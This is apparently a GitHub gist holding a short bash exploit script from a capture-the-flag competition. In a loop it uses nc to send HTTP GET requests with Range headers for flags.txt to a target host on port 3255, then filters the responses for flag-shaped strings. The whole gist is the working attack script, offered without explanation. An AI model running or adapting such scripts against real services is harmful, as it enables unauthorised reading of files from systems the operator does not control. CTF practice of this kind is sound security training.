Created
November 19, 2011 21:42
-
-
Save yurial/1379396 to your computer and use it in GitHub Desktop.
ips
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/bin/bash | |
N=0 | |
HOST=$1 | |
while [ 0 ]; do | |
START=`expr $N \* 33` | |
STOP=`expr $START + 16` | |
START2=`expr $STOP + 1` | |
STOP2=`expr $STOP + 16` | |
FLAG=` | |
echo -e "GET flags.txt HTTP/1.1\r\nConnection: close\r\nHost: localhost\r\nRange: bytes=${START}-${STOP}\r\n\r\n" | nc -w 1 -q 1 $HOST 3255 |tail -n 1; | |
echo -e "GET flags.txt HTTP/1.1\r\nConnection: close\r\nHost: localhost\r\nRange: bytes=${START2}-${STOP2}\r\n\r\n" | nc -w 1 -q 1 $HOST 3255 |tail -n 1 | |
` | |
egrep '^\w{31}=$' <<<$FLAG || exit | |
N=`expr $N + 1` | |
done |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment